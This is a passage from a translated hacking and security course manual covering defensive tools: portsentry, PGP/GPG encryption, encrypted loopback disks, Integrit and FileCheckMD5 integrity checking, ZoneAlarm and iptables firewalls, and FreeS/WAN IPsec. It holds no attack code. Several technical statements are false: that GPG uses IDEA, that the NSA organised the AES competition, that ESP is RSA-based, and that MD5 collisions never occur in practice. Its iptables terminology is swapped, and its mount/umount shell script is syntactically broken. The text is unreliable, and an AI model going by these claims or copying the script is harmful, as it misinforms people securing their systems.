www.psionic.com/abacus/portsentry<br />
To install it:<br />
tar –zxvf portsentry-x.tar.gz<br />
cd portsentry-x<br />
make linux<br />
make install<br />
When a scan is detected, portsentry can act following two methods:<br />
– By re-routing the packets coming from the source towards /dev/null.<br />
– By applying an iptables chain, so as to block the source.<br />
The configuration file is in the /usr/local/psionic/portsentry/ directory. Edit it to modify the base<br />
configuration:<br />
The <strong>Hack</strong>ademy DMP -185/209- SYSDREAM
You can choose between a simple detection policy<br />
# Use these if you just want to be aware:<br />
TCP_PORTS="1,11,15,79,111,119,143,540,635,1080,1524,2000,5742,6667,12345,12346,20034,2766<br />
5,31337,32771,32772,[..]<br />
UDP_PORTS="1,7,9,69,161,162,513,635,640,641,700,37444,34555,31335,32770,32771,32772,32773<br />
,32774,31337,54321"<br />
and a much more restrictive one. Disable it if necessary.<br />
# Use these for just bare-bones<br />
#TCP_PORTS="1,11,15,110,111,143,540,635,1080,1524,2000,12345,12346,20034,32771,32772,327<br />
73,32774,49724,54320"<br />
#UDP_PORTS="1,7,9,69,161,162,513,640,700,32770,32771,32772,32773,32774,31337,54321"<br />
Three files enable you to have access to, respectively, the host list for which portsentry will not<br />
intervene, the historical file and the banned host file.<br />
IGNORE_FILE="/usr/local/psionic/portsentry/portsentry.ignore"<br />
HISTORY_FILE="/usr/local/psionic/portsentry/portsentry.history"<br />
BLOCKED_FILE="/usr/local/psionic/portsentry/portsentry.blocked"<br />
Finally, you can parameter the command to start, in case it detects a scan from a remote machine:<br />
KILL_ROUTE="/usr/local/sbin/iptables -I INPUT -s $TARGET$ -j DROP"<br />
4.Cryptography<br />
A) pgp/gpg<br />
First <strong>of</strong> all, it should be remembered that there is a distinction between cryptography and encoding,<br />
these are two totally dissociated things.<br />
Encoding is the process which consists in transforming initial data into other, different data. Let us<br />
suppose that the initial data are texts. Encoding will modify these texts thanks to one, and only one,<br />
mathematical algorithm, into other, completely different texts. To find the initial texts again, the<br />
opposite mathematical process is used. So encoding always uses one single same mathematical<br />
process to function.<br />
As for encrypting, it uses different algorithms, that need to be used with a key. Old encrypting methods<br />
used one single key to encrypt and decrypt a message. Present methods use two keys:<br />
•<br />
A public key: this key is freely accessible to anyone who wishes. It can be downloaded from<br />
websites, dedicated servers, or it can be sent by email. The public key is the one that is going to<br />
be used when data is encrypted. Once encrypted, this data is addressed to one person, and one<br />
person only: the one in possession <strong>of</strong> the private key.<br />
• A private key: this key can decrypt messages encrypted with a public key. The decrypting<br />
process is not the opposite <strong>of</strong> the encrypting process, which is why it is difficult to decrypt a<br />
message encrypted with a key without the other key.<br />
The <strong>Hack</strong>ademy DMP -186/209- SYSDREAM
Here is a simple scenario. Let us take John and Sophie. John wishes to send a message to Sophie..<br />
1) He is going to encrypt it with the public key that Sophie gave him.<br />
2) He is going to send the message thus encrypted to Sophie.<br />
3) Sophie is going to decrypt with the help <strong>of</strong> her private key.<br />
4) Sophie is going to answer to John with the public key he gave her.<br />
5) So Sophie is going to send the encrypted message to John.<br />
6) John is going to decrypt it with his private key.<br />
So four keys are used, that is two pairs <strong>of</strong> keys. Each pair has a private key and a public key. But<br />
watch out! In our previous example, it must be fully understood that John could never have decrypted<br />
Sophie's message with any other private key but his own. He is also not supposed to have other<br />
private keys than his own. So we always associate one public key, and only one, to a private key.<br />
This bases <strong>of</strong> this system were created by Whitfield Diffie and Martin Hellman. Then three<br />
mathematicians, Rivest, Shamir and Adleman, put together the RSA system, the first modern<br />
cryptography system, still very famous today.<br />
A very interesting utility will enable you to apply cryptographic processes (encrypting, decrypting,<br />
signatures) very simply. PGP (Pretty Good Privacy) is a popular tool destined to the general public and<br />
that allows much more than a simple encrypting. By using different encrypting systems, this utility has<br />
become a reference. At http://www.pgpi.org, you will find only the latest versions <strong>of</strong> PGP, for sale.<br />
However the GPG project (GnuPG, The GNU Privacy Guard), allows you to develop a free version <strong>of</strong><br />
PGP, using the IDEA algorithm. You will find it at http://www.gnupg.org. The difference between the<br />
two certainly lies in their practicality.<br />
PGP GPG<br />
The <strong>Hack</strong>ademy DMP -187/209- SYSDREAM
PGP<br />
Once you have installed PGP, launch PGPTray. PGPTray will keep PGP in permanent application,<br />
until you need to use it.<br />
Right-click on PGPtray (the grey keylock at the bottom right <strong>of</strong> the tool bar) and launch<br />
PGPtools.<br />
Step 1 : Creating keys (PGP)<br />
The first icon is the one that manages and generates keys. Creating a key is very simple,<br />
and the assistant only makes the process easier. If you haven't created one already, you can always<br />
create new ones:<br />
1. In the fields “Full Name” and “Electronic Address”, enter a user name (avoid entering true<br />
information), in “Electronic Address”, you can however put your own one.<br />
2. Then choose the type <strong>of</strong> key you wish to create. In our example we will choose RSA.<br />
3. Then choose the size <strong>of</strong> the key. We will choose 2048 bits. The larger the size (in bits) <strong>of</strong> the key,<br />
the greater its strength is. A small-sized key <strong>of</strong>fers little security guarantee when faced with<br />
decrypting methods: it is an eggshell.<br />
4. Then choose the expiration date <strong>of</strong> the pair <strong>of</strong> keys. Allowing a key to expire has both an advantage<br />
and an inconvenient. The advantage is that if your private key is one day found or your encrypting<br />
broken, renewing your keys will allow you to communicate once more without worrying about this,<br />
because the encrypting you will use, based on new keys, will not have been broken. The<br />
inconvenient is that you will have to send your public key to all your correspondents, update all your<br />
diffusion zones, etc. It is possible that one day a correspondent <strong>of</strong> yours will send you an encrypted<br />
message with an old public key that you will be unable to decrypt. So in this example we will not<br />
take an expiration date.<br />
5. Then enter a secret sentence, to be used as a password. By “sentence”, we mean that the user<br />
should enter a whole sentence (so a long succession <strong>of</strong> characters) rather than a simple word. A<br />
sentence has a greater security value than a word. PGP actually includes a sentence quality<br />
indicator that can guide you on the choice <strong>of</strong> the sentence's length. This sentence will be asked<br />
when you use your private key (when decrypting). What is the advantage here? Simply that if<br />
someone manages to copy your private key, he will not be able to use it without the proper<br />
password.<br />
6. Once generating a key is finished, you can send your public key to a key server. This will for<br />
example enable someone who only knows your email address to see if you have put a key online.<br />
This is in no way compulsory.<br />
7. The process is over, you are now in possession <strong>of</strong> your own new pair <strong>of</strong> keys.<br />
The <strong>Hack</strong>ademy DMP -188/209- SYSDREAM
Step 2 : Encoding and signing (PGP)<br />
The message signature process is a simple one. It allows Sophie to know that it is well and truly John<br />
who has sent these encrypted messages with Sophie's public key. Indeed, how could Sophie know if it<br />
is John who has sent these messages when her public key can be used by anyone?<br />
1. John will encrypt his message with his own private key, then with Sophie's public key. That way<br />
there is a double encrypting.<br />
2. Sophie will use her private key to decrypt the message encrypted with the public key (which is her<br />
own one), then will once more decrypt the message with John's public key because – and we did<br />
not mention this to avoid any confusion – a public key can decrypt a message encrypted with a<br />
private key as long as they belong to the same pair.<br />
So Sophie is sure that the messages are coming from John, because she was able to decrypt with her<br />
public key the message encrypted with John's private key, that he is the only one to possess.<br />
PGP helps you in this task: with a few clicks you can sign and encrypt messages. Let us see this.<br />
1. Create a test text file in a test directory.<br />
2. Name it “test.txt”, for example, and in it write any sentence (in our example the sentence is<br />
“encrypting test”).<br />
3. Click on Number and select the data to encrypt. Here, you will select “test.txt” in your “test”<br />
directory.<br />
4. Choose the public keys with which you are going to number your message, by selecting them and<br />
dragging them towards “destinations”. The idea here is to select the people to whom this encrypted<br />
data is destined, by selecting the proper public keys.<br />
5. You can select several options:<br />
• Output in text form (if you wish the encrypted contents to be readable). This option does<br />
not have any consequences on the security <strong>of</strong> your data.<br />
• Deleting the original is an option that can be seen as a precaution, because once the<br />
original data deleted, only the encrypted data remains and there is no chance anyone can<br />
have access to the clear data without having the proper private key.<br />
The <strong>Hack</strong>ademy DMP -189/209- SYSDREAM
• Secure visualization is an option that can be applied only to text files. When the<br />
destination decrypts your data with his private key, the text will be open in a “secure text<br />
viewer”. This viewer will display a warning message reminding the user that he can only<br />
read this text in the most secure and confidential conditions. If the user clicks on any other<br />
place than the viewer, the viewing window will automatically close.<br />
• The self-extractable archive and conventional numbering options are not essential ones.<br />
You can however try them. For example, the self-extractable archive will enable you to put<br />
your data in the form <strong>of</strong> <strong>of</strong> an executable that will extract the encrypted data. This option<br />
can be used only with the conventional numbering option, which applies a numbering<br />
option thanks to a sentence that has the role <strong>of</strong> a key. This option is less secure for your<br />
data security but does not require the use <strong>of</strong> a pair <strong>of</strong> keys. This means PGP can use a<br />
key sentence (which is the same one during encrypting and decrypting) rather than a<br />
system based on a pair <strong>of</strong> keys.<br />
6. In our example, we only choose output in text form as an option.<br />
7. Click on “OK” and the encrypting is done.<br />
8. Go to the “test” directory to see your encrypted file in /asc format. You can open this file as text<br />
(rename it “test2.txt”, for example). However, do not forget to put it back in .asc format after reading<br />
it, as this .asc format is recognized by PGP. This said, a text file in .txt format can also be<br />
decipherable.<br />
9. Let us now see how to sign one's data. Remember that a signature is not compulsory.<br />
10.Click on Sign.<br />
11.Choose the file to sign, this file having normally been previously encrypted. As a signature is done<br />
with your private key, you will need to enter your secret sentence.<br />
The <strong>Hack</strong>ademy DMP -190/209- SYSDREAM
12.You can choose a separate Signature which creates a .sig file not pasted to the encrypted file. So<br />
you will have two separate files: one encrypted file, and one signature file. We will not apply this<br />
option.<br />
13.The Output in text form option makes the signature readable in text format, just like the same<br />
option used for encrypting.<br />
14.The signature has been done. You can however do this operation in one step thanks to the Number<br />
& Sign button:<br />
Step 3 : Decrypting (PGP)<br />
To decrypt data that is addressed to you (we therefore suppose that you have the proper private key,<br />
or a conventional key in the case <strong>of</strong> conventional numbering), double-click on the .pgp or .asc file, or<br />
use the button: Number and Verify.<br />
1. Click on the button<br />
2. Select the file to be decrypted<br />
3. Enter your secret sentence for the use <strong>of</strong> your private key<br />
4. Choose to save the file again, in clear mode<br />
Step 4 : Adding downloaded public keys (PGP)<br />
Double-click on the .asc file (the one having the keys in question) and choose, with the window that<br />
opens, the keys that you wish to import.<br />
The two other functions <strong>of</strong> PGP (destroying and cleaning unused space) are not <strong>of</strong> any use to<br />
cryptography. The first one is used to to destroy files, and the second one to clean your<br />
disk space. We can now move on to the GPG user manual.<br />
GPG, the free alternative to PGP<br />
GnuPG is the free alternative to PGP, under GPL license. GnuPG is considered as safe and<br />
implements PGP's functions. GPG is available for both Linux and Windows on the<br />
http://www.gnupg.org website. For our demonstration, we will use GPG on Linux. The first necessary<br />
step is to create a pair <strong>of</strong> cryptographic keys:<br />
$ gpg --gen-key<br />
The tool becomes interactive and allows the creation <strong>of</strong> keys step by step. Please note that, as<br />
presented, we can specify a key size above 2048 bits. The keys are generated in the most random<br />
way possible, using factors such as the movements <strong>of</strong> the mouse, the keyboard entries, etc.<br />
The <strong>Hack</strong>ademy DMP -191/209- SYSDREAM
Depending on the size <strong>of</strong> your key, this step can take some time.<br />
So files are created in the .gnupg directory from the user's home. These files contain the public and<br />
private keys, but they are not directly readable from the console. It is necessary to pass through the<br />
GPG tool, for example, to extract one's public key in order to send it to correspondents by email.<br />
$ gpg --a -o my_pub_key --export OWNER_NAME<br />
Your correspondents will import your key for their use in the following manner:<br />
$ gpg --import my_pub_key<br />
This file can then be sent to any correspondent, in the form <strong>of</strong> a file or <strong>of</strong> a clear text. They will check<br />
the proper integration with the command:<br />
$ gpg --list-keys<br />
To save your private key, the command is pretty much the same:<br />
$ gpg -a -o my_priv_key --export-secret-key OWNER_NAME<br />
Let us take the file with the test text, and let us number it with our public key:<br />
$ gpg -a -e -r OWNER_NAME myfile<br />
The -a option can give the numbered result in ASCII form (myfile.asc), which can be read. Do take<br />
note that our 4-byte file now has 1067 once numbered in this format. The owner <strong>of</strong> the proper private<br />
key used for this numbering will be able to decrypt the file with the command:<br />
$ gpg -o result --decrypt myfile.asc<br />
On the next viewpoint, not using the -o option can give the result directly on the terminal.<br />
We have seen all the basic functions <strong>of</strong> GPG, and already you might think using these online seems<br />
impractical. You should therefore note that there is a graphic front-end to GPG called GPA (Gnu<br />
Privacy Assistant, http://www.gnupg.org).<br />
The <strong>Hack</strong>ademy DMP -192/209- SYSDREAM
B) Cryptography <strong>of</strong> hard drives<br />
Windows<br />
PGPDisk is a cryptographic tool integrated to the free PGPfreeware applications suite. Available at<br />
http://www.pgpi.org/products/pgpdisk/, it can create virtual encrypted disks. The user creates a chosen<br />
size file (space is allocated on the disk). This file is a virtual representation <strong>of</strong> a hard drive, and so has<br />
to be formatted, maybe with a file system different to the one currently in service. Once the file<br />
created, the setup operation will find the virtual disk from an entry called “E:”, for example.<br />
Once the file is formatted and set up, we can copy any type <strong>of</strong> data within the available space. Once<br />
this data is saved, we remove the partition, thus making it inaccessible. To set it up again, you will<br />
have to enter the proper password. The file created is still accessible from the hard drive, and you<br />
must ensure that it cannot be deleted.<br />
Linux<br />
On Linux, there is a very efficient encrypting system for files or hard drives, executing<br />
encrypting/decrypting on the fly. The idea is to associate a (hard drive) entry to a virtual setup point<br />
(/dev/loopX) that will encrypt and decrypt all input/output. It will itself be set up like a standard hard<br />
drive on a setup point accessible by the user.<br />
There are several encrypting systems, and several key lengths possible, available in a module form:<br />
The <strong>Hack</strong>ademy DMP -193/209- SYSDREAM
Cryptoapis are integrated in standard in the kernel from the 2.4.22 version, but we will use a 2.6.5<br />
version. The modules to activate are:<br />
Block Devices Loopback device support<br />
SECTION MODULES<br />
Block Devices Loopback device support<br />
Cryptographic<br />
Options<br />
Cryptoloop device support<br />
SHA 256 Digest algorithm<br />
SHA 384 Digest Algorithm<br />
Blowfish cipher Algorithm<br />
Tw<strong>of</strong>ish cipher Algorithm<br />
Serpent cipher Algorithm<br />
AES cipher Algorithm<br />
CAST5 cipher Algorithm<br />
CAST6 cipher Algorithm<br />
ARC4 cipher Algorithm<br />
You have the choice between several numbering algorithms. AES was the winner <strong>of</strong> the best algorithm<br />
competition organized by NSA, the serpent coming in second. You will also need the losetup package.<br />
Recompile your kernel, then, in root, we are going to set up a hda5 partition on the loopback /<br />
dev/loop0 device. Anything transiting on this virtual device will be encrypted/decrypted with the<br />
password asked for:<br />
Laptop:/home/xdream# losetup -e serpent -k 256 /dev/loop0 /dev/hda5<br />
Password: xxxx<br />
The <strong>Hack</strong>ademy DMP -194/209- SYSDREAM
The first time this operation is done, we will have to format the partition in ext2 (it is not advised to use<br />
a journalized file system on an encrypted partition). The formatting <strong>of</strong> /dev/hda5 will also be encrypted,<br />
so we are going to format /dev/loop0<br />
Laptop:/home/xdream# mke2fs /dev/loop0<br />
mke2fs 1.27 (8-Mar-2002)<br />
Filesystem label=<br />
OS type: Linux<br />
Block size=4096 (log=2)<br />
Fragment size=4096 (log=2)<br />
611648 inodes, 1220932 blocks<br />
61046 blocks (5.00%) reserved for the super user<br />
First data block=0<br />
38 block groups<br />
32768 blocks per group, 32768 fragments per group<br />
16096 inodes per group<br />
Superblock backups stored on blocks:<br />
32768, 98304, 163840, 229376, 294912, 819200, 884736<br />
Writing inode tables: done<br />
Writing superblocks and filesystem accounting information: done<br />
This filesystem will be automatically checked every 20 mounts or<br />
180 days, whichever comes first. Use tune2fs -c or -i to override.<br />
We can finally set up the virtual device on the specified setup point:<br />
Laptop:/home/xdream# mount /dev/loop0 /mnt/CYPHER<br />
Laptop:/home/xdream# ls /mnt/CYPHER<br />
lost+found<br />
To remove the encrypted disk:<br />
Laptop:/home/xdream# umount /mnt/CYPHER<br />
Laptop:/home/xdream# losetup -d /dev/loop0<br />
Once the encrypted disk will have been formatted a first time, you can automate this operation with a<br />
script shell, to which you will send the mount option to set up the partition and unmount to remove it.<br />
#!/bin/sh<br />
case $1 in<br />
mount) losetup -e serpent -k 256 /dev/loop0 /dev/hda5<br />
mount /dev/loop0 /mnt/CYPHER<br />
break;;<br />
umount) umount /mnt/CYPHER<br />
losetup -d /dev/loop0<br />
break;;<br />
*) echo « Usage: $0 [mount | umount]<br />
The <strong>Hack</strong>ademy DMP -195/209- SYSDREAM
esac<br />
exit 1<br />
break;;<br />
5.System Integrity<br />
To control the integrity <strong>of</strong> a file is to check that not one single byte has been modified. Mathematical<br />
algorithms (MD5, SHA1, ...) can create digital signatures for a given bytes suite.<br />
When a file is recognized as “clean”, we are going to associate to it an signature <strong>of</strong> an MD5 (16 bytes)<br />
or a SHA1 (20 bytes) type. For an entire system, we are going to establish a list <strong>of</strong> signatures<br />
associated to a list <strong>of</strong> files. On Windows, FileCheckMD5 is a free tool that establishes a signature<br />
base. This base must be saved on an outer medium (for example a CD-ROM) so as not to risk it being<br />
compromised.<br />
Note that it is in theory possible for two different files (bytes suite) to give the same signature, creating<br />
a “collision”. In practise, this never happens: there are<br />
340,282,366,920,938,463,463,374,607,431,768,211,456 possible signatures for MD5.<br />
Integrity controller on Windows<br />
File CheckMD5 is an integrity controller on Windows. It will come from a root directory and create<br />
signatures for all files and sub-files <strong>of</strong> the selected directory. The database, in text format, is saved at<br />
the root <strong>of</strong> the disk (C:). It contains lines similar to this one:<br />
d26c63ef6c04bac8c1a74bbdb4f26cef|WINNT\system32\dsquery.dll<br />
On the left is the MD5 signature in hexadecimal form, the | is a limit for the file name on the right. This<br />
tool can be downloaded from http://www.brandonstaggs.com/filecheckmd5.html.<br />
The <strong>Hack</strong>ademy DMP -196/209- SYSDREAM
Integrity controller on Linux<br />
There is a well-known integrity controller under GPL license on Linux, called TripWire<br />
(http://www.tripwire.org). TripWire not only creates signatures for files, it also monitors certain<br />
attributes <strong>of</strong> these files. It can however be quite hard to use because <strong>of</strong> the simple necessity <strong>of</strong> having<br />
to control the files' integrity, and we could prefer an alternative such as Integrit<br />
(http://integrit.sourceforge.net).<br />
Integrit is simple to use: we create a configuration file into which we put the original signature base, the<br />
name <strong>of</strong> the base to rewrite in case <strong>of</strong> updating and the root directory to check in a recursive way. So<br />
we write the integrit.cfg in an analogical way to this one:<br />
known=/etc/integrit.db<br />
current=/etc/integrit_update.db<br />
root=/sbin<br />
These files need to be created, <strong>of</strong> course. Then we launch Integrit a first time by typing in:<br />
$ integrit -C /etc/integrit.cfg -u<br />
And we check the files by typing in:<br />
$ integrit -C /etc/integrit.cfg -c<br />
The <strong>Hack</strong>ademy DMP -197/209- SYSDREAM
6.Firewall<br />
A) Personal firewall<br />
Windows XP now integrates a firewall in its standard installation, however it is still strongly<br />
recommended to use tried and tested tools. Normally, you don't need a firewall: if you have no active<br />
server application on a system, it should be impossible to hack your system from outside. However,<br />
that is never the case by default on Windows (services such as netbios, UpnP, ...) What's more, a<br />
firewall does not only control entering data, but also outgoing data, which is important when the<br />
machine is used as a working station.<br />
ZoneAlarm is a firewall popular with the general public, that can control in a simple way entering and<br />
outgoing traffic through authorized applications. ZoneAlarm is free and available at<br />
http://www.zonelabs.com. The pr<strong>of</strong>essional version is more complete than the free standard one. Our<br />
examples will be with this, the more complex version, which will <strong>of</strong>fer a broader view <strong>of</strong> <strong>of</strong> firewall<br />
configuration principles on Windows.<br />
Its installation presents no difficulty, the steps are clear. Once ZoneAlarm is installed, only two<br />
sections <strong>of</strong> the s<strong>of</strong>tware present a real interest for anything concerning network filtering rules:<br />
– firewall;<br />
– program control.<br />
"Firewall" Section<br />
In the main tab, it is possible to specify predefined tolerance levels concerning three types <strong>of</strong> “zones”.<br />
These zones concern the networks to which the computer is linked. Generally, we will find the<br />
“Internet” zone, the “Trusted” zone and the “Blocked” zone. The “Internet” zone is an explicit one, it<br />
contains all the Internet remote machines. The “Trusted” zone generally concerns the machines <strong>of</strong> a<br />
local network. Consider as “trusted” machines physically close to yours. Finally, the “Blocked” zone is<br />
defined by the administrator, and concerns the machines banned from any form <strong>of</strong> communication with<br />
yours.<br />
The <strong>Hack</strong>ademy DMP -198/209- SYSDREAM
There are three protection levels: "High", "Medium" and "Low" :<br />
– ‘’High’’ : your machine does not answer any unauthorized request;<br />
– ‘’Medium’’ : your machine answers to some requests (such as a ping) ;<br />
– ‘’Low’’ : security is deactivated.<br />
The <strong>Hack</strong>ademy DMP -199/209- SYSDREAM
In the “Custom” part, you can specify with more precision the security rules by default for the different<br />
zones:<br />
The “Zones” tab allows you to add or delete<br />
zones. A zone can be a single IP address or<br />
a whole array <strong>of</strong> machines. Zones can be<br />
qualified as "Trusted", "Blocked" or "Internet":<br />
If the machine hosting the firewall is a<br />
gateway, using the “Expert” tab becomes a<br />
necessity to establish really viable security<br />
rules.<br />
In this part, it is possible to manually edit<br />
which protocols (ports) are authorized in<br />
emission or in reception according to the<br />
senders/destinations.<br />
The <strong>Hack</strong>ademy DMP -200/209- SYSDREAM
"<strong>Pro</strong>gram control" Section<br />
The “program control” section can regulate the list <strong>of</strong> s<strong>of</strong>tware components authorized to treat requests<br />
on the network. In the main tab, four security levels are defined to control programs. These levels only<br />
specify the degree <strong>of</strong> attention that ZoneAlarm pays to the processes that try to work on the network or<br />
to establish themselves as a server. The best thing to do is to go through the “Advanced” section, as it<br />
allows a more precise regulation <strong>of</strong> the firewall activity.<br />
The “<strong>Pro</strong>grams” and “Components” tabs<br />
contain the list <strong>of</strong> (DLL) programs and<br />
components authorized to communicate<br />
in the different zones (“trusted” and<br />
“Internet”):<br />
The <strong>Hack</strong>ademy DMP -201/209- SYSDREAM
On the information take, we can notice three rules for the system s<strong>of</strong>twares:<br />
– authorized;<br />
– unauthorized;<br />
– unknown (a request will be made when the s<strong>of</strong>tware will try to access to the network<br />
resources for the first time).<br />
A server application could thus be authorized to receive connections from the LAN (“Trusted” zone)<br />
but not from the Internet).<br />
B) Netfilter<br />
We are going to see the basic notions for the use <strong>of</strong> iptables: Forbidding/Authorizing access to the<br />
server, nat and port forwarding. This tool is used in command line, the interesting thing being to be<br />
able to create firewalling scripts in line with your expectations, and with access authorizations you wish<br />
to establish on your servers. Iptables are accepted only from kernels 2.4. So you have to activate the<br />
appropriate modules to its medium during the compilation <strong>of</strong> the kernel:<br />
In the networking options section:<br />
Network packet filtering<br />
In the Netfilter subsection configuration:<br />
connection tracking<br />
ftp protocol support<br />
irc protocol support<br />
IP tables support<br />
Packet filtering<br />
Full NAT<br />
MASQUERADE target support<br />
REDIRECT target support<br />
You must also install the netfilter package. Furthermore, if you wish to activate forwarding, you can<br />
activate it with the command:<br />
root#echo 1 > /proc/sys/net/ipv4/ip_forward<br />
Here are the basic iptables options:<br />
-A Add a rule<br />
-D Delete a rule<br />
-R Replace a chain<br />
-L Display the rules<br />
-F Delete all rules<br />
-N Add a chain<br />
-X Delete a chain.<br />
The <strong>Hack</strong>ademy DMP -202/209- SYSDREAM
The rules take the following values:<br />
INPUT Entering traffic<br />
OUTPUT Outgoing traffic<br />
FORWARD Will be used to carry out port forwarding<br />
The chains take the following values:<br />
MASQUERADE Will be used to carry out ip masquerading<br />
ACCEPT Accept the communication<br />
REJECT Forbid the communication and send a reject packet<br />
DROP Forbid the communication, but do not send any packet<br />
You can now create your own iptables configuration script. Here are a few examples. Beware, these<br />
are only simplistic examples, and in no way efficient filtering rules. We will see more efficient<br />
configurations in the following course.<br />
First <strong>of</strong> all, for the policy by default to be to forbid everything:<br />
iptables -P INPUT DROP<br />
iptables -P OUTPUT DROP<br />
iptables -P FORWARD DROP<br />
To authorize communications on the local network and on the interface lo:<br />
iptables -A INPUT -i lo -j ACCEPT<br />
iptables -A OUTPUT -o lo -j ACCEPT<br />
iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT<br />
iptables -A OUTPUT -d 192.168.1.0/24 -j ACCEPT<br />
iptables -A FORWARD -s 192.168.1.0/24 -j ACCEPT<br />
To authorize outgoing dns requests:<br />
iptables -A INPUT -i ppp0 --protocol udp --source-port 53 -j ACCEPT<br />
iptables -A OUTPUT -o ppp0 --protocol udp --destination-port 53 -j ACCEPT<br />
iptables -A INPUT -i ppp0 --protocol tcp --source-port 53 -j ACCEPT<br />
iptables -A OUTPUT -o ppp0 --protocol tcp --destination-port 53 -j ACCEPT<br />
To authorize the outgoing web navigation:<br />
iptables -A INPUT -i ppp0 --protocol tcp --source-port 80 -m state --state ESTABLISHED<br />
iptables -A OUTPUT -o ppp0 --protocol tcp --destination-port 80 -m state --state<br />
NEW,ESTABLISHED<br />
The <strong>Hack</strong>ademy DMP -203/209- SYSDREAM
To share the Internet connection with other computers <strong>of</strong> your network:<br />
iptables -F FORWARD<br />
iptables -A FORWARD -j ACCEPT<br />
iptables -A POSTROUTING -t nat -o ppp0 -j MASQUERADE<br />
Finally, to redirect all entering connections to port destination 80, up to machine 192.168.1.10 on its<br />
port 8080 (port forwarding):<br />
iptables -t nat -A PREROUTING -d votre_addresse_ip_internet -p tcp --dport 80 -j DNAT -to-destination<br />
192.168.1.10:8080<br />
Here is a summary <strong>of</strong> the script you could use if applying all <strong>of</strong> these rules:<br />
#/bin/sh<br />
#let's find which is our Internet address:<br />
IP=`ifconfig ppp0 | grep inet | awk {'print $2'} | awk -F ":" {'print $2}`<br />
iptables -P INPUT DROP<br />
iptables -P OUTPUT DROP<br />
iptables -P FORWARD DROP<br />
iptables -A INPUT -i lo -j ACCEPT<br />
iptables -A OUTPUT -o lo -j ACCEPT<br />
iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT<br />
iptables -A OUTPUT -d 192.168.1.0/24 -j ACCEPT<br />
iptables -A FORWARD -s 192.168.1.0/24 -j ACCEPT<br />
iptables -A INPUT -i ppp0 --protocol udp --source-port 53 -j ACCEPT<br />
iptables -A OUTPUT -o ppp0 --protocol udp --destination-port 53 -j ACCEPT<br />
iptables -A INPUT -i ppp0 --protocol tcp --source-port 53 -j ACCEPT<br />
iptables -A OUTPUT -o ppp0 --protocol tcp --destination-port 53 -j ACCEPT<br />
iptables -A INPUT -i ppp0 --protocol tcp --source-port 80 -m state --state ESTABLISHED<br />
iptables -A OUTPUT -o ppp0 --protocol tcp --destination-port 80 -m state --state<br />
NEW,ESTABLISHED<br />
iptables -t nat -A PREROUTING -d $IP -p tcp --dport 80 -j DNAT --to-destination<br />
192.168.1.10:8080<br />
The <strong>Hack</strong>ademy DMP -204/209- SYSDREAM
7.VPN<br />
What is a Virtual Private Network?<br />
Company networks are for the most part physical: all computer resources are physically articulated<br />
around a local network in a same place. Using such a network means having to be physically close to<br />
the access points that we wish to reach. This is a major restriction when information must transit over<br />
long distances.<br />
A network extension is <strong>of</strong>ten done by using Internet resources. It is however not technologically<br />
possible to trust machines relaying information on the Internet. To make sure that the network remains<br />
private, even if it follows public paths, there are s<strong>of</strong>tware solutions using secure protocols, essentially.<br />
As the communicating entities are not assembled in a same location, the network is said to be “virtual”.<br />
So a VPN is more than a well-defined technical solution.<br />
What services for a VPN?<br />
Using secure services such as SSH, is within the elaboration <strong>of</strong> a VPN. Generally speaking, though, it<br />
is actually necessary to secure not just one service, but all services, whatever they may be.<br />
So we directly secure packets <strong>of</strong> common communication protocols (IP and protocols <strong>of</strong> associated<br />
data transport). The security <strong>of</strong> a VPN means controlling the following points:<br />
IPSec<br />
– confidentiality <strong>of</strong> data (cryptography)<br />
– integrity <strong>of</strong> data (checksums)<br />
– authentication <strong>of</strong> entities (cryptographic signatures)<br />
IPSec can secure Ipv4 and Ipv6 packets. IPSec is based on security rules called SA, as in <strong>Security</strong><br />
Associations. These rules are grouped in an SPD (<strong>Security</strong> Policy Database).<br />
IPSec is flexible and modular. It is implemented in different ways according to the needs <strong>of</strong> the<br />
association rules. It guarantees the integrity <strong>of</strong> a packet (AH method based on MD5 or SHA-1) and its<br />
confidentiality through encrypting (ESP method based on RSA), or both. The negotiation protocol <strong>of</strong><br />
keys for the cryptographic aspect <strong>of</strong> IPSec is called IKE.<br />
As the entries in SPD are static, IPSec is an efficient protocol for communications between machines<br />
with fixed IPs (to link two local networks <strong>of</strong> companies via Internet through two gateways, for example).<br />
There are two communication modes for IPSec: transport and tunnel. In transport zone, only<br />
transported data is secured (IPSec headers are placed just after the IP header). In tunnel mode, IPSec<br />
generally takes charge <strong>of</strong> the IP header as data to cover (IPSec is placed before the IP header, and<br />
adds another one behind it).<br />
The <strong>Hack</strong>ademy DMP -205/209- SYSDREAM
Way <strong>of</strong> encapsulating in transport mode with ESP:<br />
Way <strong>of</strong> encapsulating in tunnel mode with ESP:<br />
You can establish an IPSec network on Linux by compiling the core in an adapted way (KLIPS module<br />
instead <strong>of</strong> the native IPSec code) and by using the free solution FreeS/WAN<br />
(http://www.freeswan.org). The combined use <strong>of</strong> AH and ESP is not included in the development <strong>of</strong><br />
FreeS/WAN: AH is no longer supported by FreeS/WAN. AH is not widely used, and IPSec's complexity<br />
due to the combined use <strong>of</strong> the two methods is not a desirable improvement (see Schneier and<br />
Ferguson's evaluation paper at: http://www.macfergus.com/pub/IPsec.html).<br />
If you haven't created a pair <strong>of</strong> keys with RSA, type in:<br />
$ ipsec newhostkey --output /etc/ipsec.secrets --hostname www.mymachine.com<br />
Once the installation done, the ipsec tool is available and will enable you to check, with the ipsec verify<br />
command, that the service is properly available.<br />
Net-to-Net Configuration:<br />
Between two machines (left/right) on IPSec, type on the first one:<br />
$ ipsec showhostkey –left<br />
On the second one, type:<br />
$ ipsec showhostkey --right<br />
On the first machine, edit the /etc/ipsec.conf configuration file on both machines and modify the<br />
information following the example below. Left and right are the machine on which FreeS/WAN is<br />
installed:<br />
conn net-to-net<br />
left=192.0.2.2<br />
leftsubnet=192.0.2.128/29<br />
leftid=@xy.example.com<br />
leftrsasigkey=0s1LgR7/oUM... # completer<br />
leftnexthop=%defaultroute<br />
right=192.0.2.9<br />
rightsubnet=10.0.0.0/24<br />
rightid=@ab.example.com<br />
rightrsasigkey=0sAQOqH55O... # completer<br />
rightnexthop=%defaultroute<br />
auto=add<br />
The <strong>Hack</strong>ademy DMP -206/209- SYSDREAM
Contact<br />
1 Villa du clos de Malevart 75011 Paris.<br />
Tel: 01 40 21 04 28<br />
e-mail: hackademy@thehackademy.net<br />
26 bis rue jeanne d'Arc 94160 St Mandé<br />
Tel: 01 53 66 95 28<br />
e-mail: abonnements@dmpfrance.com<br />
The <strong>Hack</strong>ademy DMP -207/209- SYSDREAM
